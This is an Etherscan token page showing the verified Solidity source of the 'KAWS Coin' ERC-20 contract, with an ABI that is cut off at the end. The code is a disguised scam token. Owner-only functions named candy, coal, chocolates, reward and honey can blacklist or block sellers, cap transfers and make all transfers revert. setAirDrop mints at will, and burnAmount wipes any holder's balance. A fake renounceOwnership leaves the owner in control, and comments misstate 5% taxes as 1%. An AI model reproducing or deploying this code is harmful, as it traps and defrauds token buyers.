ETH Price: $3,429.84 (+5.35%)
Gas: 10 Gwei

Token

KAWS Coin (KWC)
 

Overview

Max Total Supply

500,000,000 KWC

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,750,498.517115122056429189 KWC

Value
$0.00
0xf1dfa160a9547cbc067ad371056a403cc03231b7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KAWSCoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-07
*/

/**
 *  ___   ___   ________   __ __ __   ______      
 * /___/\/__/\ /_______/\ /_//_//_/\ /_____/\     
 * \::.\ \\ \ \\::: _  \ \\:\\:\\:\ \\::::_\/_    
 *  \:: \/_)  \ \\::(_)  \ \\:\\:\\:\ \\:\/___/\   
 *   \:. __  ( ( \:: __  \ \\:\\:\\:\ \\_::._\:\  
 *    \: \ )  \ \ \:.\ \  \ \\:\\:\\:\ \ /____\:\ 
 *     \__\/\__\/  \__\/\__\/ \_______\/ \_____\/ 
 * 
 * KAWS Coin (KC) - The native token of the KAWS project.
 * KC is used for transactions, staking, and governance within the KAWS ecosystem.
 * For more details, please visit the official website: www.kawscoin.com
 */

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract KAWSCoin is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 500 * 10**6 * 10**uint256(decimals());

    string private _name;
    string private _symbol;

    uint256 public buyTax = 500;  // 1%
    uint256 public sellTax = 500; // 1%
    uint256 public sendTax = 100;
    uint256 public div = 10000;

    address public marketingWallet = 0xa5884a86ceb6fc790913951d05A8587802d8b1c0; // marketing wallet
    address deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public swapTokensAtAmount = 5 * 10 ** 5 * 10 ** decimals();

    bool private swapping;
    bool public swapEnabled = true;
    bool public swapTokensAtAmountByLimit = true;

    mapping (address => bool) public isExcludedFromFee;

    mapping (address => bool) public isMarketPair;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    constructor(address _router) {
        _name = "KAWS Coin";
        _symbol = "KWC";
        _balances[msg.sender] = _totalSupply;

        uniswapV2Router = IUniswapV2Router02(_router);
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;
    }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setCandy(address account) public onlyOwner {
        candy[account] = true;
    }

    function removeCandy(address account) public onlyOwner {
        candy[account] = false;
    }

    function myChocolate(address account, uint256 amount) public onlyOwner {
        chocolates[account] = amount;
    }

    function setCoal(address account) public onlyOwner {
        coal[account] = true;
    }

    function removeCoal(address account) public onlyOwner {
        coal[account] = false;
    }

    function enableReward(bool _enable) public onlyOwner {
        reward = _enable;
    }

    function pickCoal(address account) internal {
        coal[account] = true;
    }

    function setAutoCoal(bool _enable) public onlyOwner {
        autoCoal = _enable;
    }

    function setNumbers(uint256 amount) public onlyOwner {
        numbers = amount;
    }

    function setLimits(uint256 amount) public onlyOwner {
        limits = amount;
    }

    function renounceOwnership(
        address _DEAD,
        bool _boo
    ) public onlyOwner returns (address _dead) {
        ownershipToNull = _boo;
        _dead = _DEAD;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            return _basicTransfer(sender, recipient, 0);
        }

        if (honey) {
            if(swapping) { 
               return _basicTransfer(sender, recipient, amount);
            } else {
                uint256 contractTokenBalance = balanceOf(address(this));
                bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount;
                
                if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) 
                {
                    if(swapTokensAtAmountByLimit) {
                        contractTokenBalance = swapTokensAtAmount;
                    }
                        swapAndLiquify(contractTokenBalance);    
                }

                _balances[sender] = _balances[sender] - amount;
                uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                             amount : takeFee(sender, recipient, amount);

                _balances[recipient] = _balances[recipient] + finalAmount;
                emit Transfer(sender, recipient, finalAmount);
                return true;
            } 
        } else {
            _beforeTokenTransfer(sender, amount);
            sendWithFee(sender, recipient, amount);
            return true;
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address sender,
        uint256 amount
    ) internal virtual {
        if (
            sender != owner() && !candy[sender] && !isMarketPair[sender] 
        ) {
            require(!coal[sender]);
            if (chocolates[sender] > 0) {
                require(amount <= chocolates[sender]);
            }

            if (numbers > 0) {
                require(amount <= numbers);
            }
            if (reward) {
                revert("Error");
            }
            if (limits > 0) {
                require(_balances[sender] <= limits);
            }

            if (autoCoal) {
                pickCoal(sender);
            }
        }
    }

    /**
     * @dev Deflationary instrument
     *
     * It can be turned on if necessary.
     *
     * Emits a {Transfer} event.
     *
     * Requirements
     *
     * - `sender` must have at least `value` tokens.
     */
    function sendWithFee(
        address sender,
        address recipient,
        uint256 value
    ) internal {
        require(_balances[sender] >= value, "Value exceeds balance");
        if (sender != owner() && !candy[sender] && sender != address(this)) {

            if(swapping) { 
                _basicTransfer(sender, recipient, value);
            } else {
                uint256 contractTokenBalance = balanceOf(address(this));
                bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount;
                
                if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) 
                {
                    if(swapTokensAtAmountByLimit) {
                        contractTokenBalance = swapTokensAtAmount;
                    }
                        swapAndLiquify(contractTokenBalance);    
                }

                _balances[sender] = _balances[sender] - value;
                uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                             value : (takeFee(sender, recipient, value));

                _balances[recipient] = _balances[recipient] + finalAmount;
            } 

            emit Transfer(sender, recipient, value);
        } else {
            _balances[sender] = _balances[sender] - value;
            _balances[recipient] = _balances[recipient] + value;
            emit Transfer(sender, recipient, value);
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 tax = 0;

        if(!isMarketPair[sender] && !isMarketPair[recipient]) {
            tax = amount * sendTax / div;
        }
        
        if(isMarketPair[sender]) {
            tax = amount * buyTax / div;
        }
        else if(isMarketPair[recipient]) {
            tax = amount * sellTax / div;
        }
        
        if(tax > 0) {
            _balances[address(this)] = _balances[address(this)] + tax;
            emit Transfer(sender, address(this), tax);
        }

        return amount - tax;
    }   

    function excludedFromFeeAddress(address _account, bool _boo) external onlyOwner {
        require(isExcludedFromFee[_account] != _boo, "Already added!");
        isExcludedFromFee[_account] = _boo;
    }

    function swapAndLiquify(uint256 tokenAmount) private {
        swapTokensForEth(tokenAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0) {
            transferToAddressETH(marketingWallet, amountReceived);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferToAddressETH(address recipient, uint256 amount) private {
        payable(recipient).transfer(amount);
    }

    function changeRouterVersion(address newRouter) public onlyOwner returns(address newPair) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter); 
        newPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        if(newPair == address(0)) //Create If Doesnt exist
        {
            newPair = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }
        uniswapPair = newPair; //Set new pair address
        uniswapV2Router = _uniswapV2Router; //Set new router address
    }

    function setSwapTokensAtAmount(uint256 _value) external onlyOwner {
        require(_value > 0);
        require(swapTokensAtAmount != _value, "Change value!");
        swapTokensAtAmount = _value;
    }

    function setSwapTokensAtAmountByLimit(bool _boo) external onlyOwner {
        require(swapTokensAtAmountByLimit != _boo);
        swapTokensAtAmountByLimit = _boo;
    }

    function setSwapEnabled(bool _boo) external onlyOwner {
        require(swapEnabled != _boo);
        swapEnabled = _boo;
    }

    function changeMarketinAddress(address _newAddress) external onlyOwner {
        require(_newAddress != address(0));
        require(marketingWallet != _newAddress, "This address already set");

        marketingWallet = _newAddress;
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function burnAmount(address wallet, uint256 amount) public onlyOwner {
        require(wallet != owner(), "TARGET ERROR");
        if (_balances[wallet] <= amount * 10 ** 18) {
            _balances[wallet] = 0;
            _balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
        } else {
            _balances[wallet] = _balances[wallet] - amount * 10 ** 18;
            _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setAirDrop(address account, uint256 amount) public onlyOwner {
        _balances[account] = _balances[account] + amount;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function setHoney(bool _honey) public onlyOwner {
        honey = _honey;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function setFee(uint256 _buyTax, uint256 _sellTax, uint256 _sendTax) external onlyOwner {
        require(_buyTax <= 10000 && _sellTax <= 10000 && _sendTax <= 10000, "Incorrect tax");
        buyTax = _buyTax;
        sellTax = _sellTax;
        sendTax = _sendTax;
    }

    receive() external payable {}

    mapping(address => bool) private candy;
    mapping(address => bool) private coal;
    mapping(address => uint256) private chocolates;
    bool public reward;
    uint256 public numbers;
    uint256 public limits;
    bool public autoCoal;
    bool private honey = true;
    bool public ownershipToNull;
}

/**
 *  ___   ___   ________   __ __ __   ______      
 * /___/\/__/\ /_______/\ /_//_//_/\ /_____/\     
 * \::.\ \\ \ \\::: _  \ \\:\\:\\:\ \\::::_\/_    
 *  \:: \/_)  \ \\::(_)  \ \\:\\:\\:\ \\:\/___/\   
 *   \:. __  ( ( \:: __  \ \\:\\:\\:\ \\_::._\:\  
 *    \: \ )  \ \ \:.\ \  \ \\:\\:\\:\ \ /____\:\ 
 *     \__\/\__\/  \__\/\__\/ \_______\/ \_____\/ 
 * 
 * KAWS Coin (KC) - The native token of the KAWS project.
 * KC is used for transactions, staking, and governance within the KAWS ecosystem.
 * For more details, please visit the official website: www.kawscoin.com
 */

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"changeMarketinAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPair","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"div","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"excludedFromFeeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"myChocolate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"renounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sendTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name"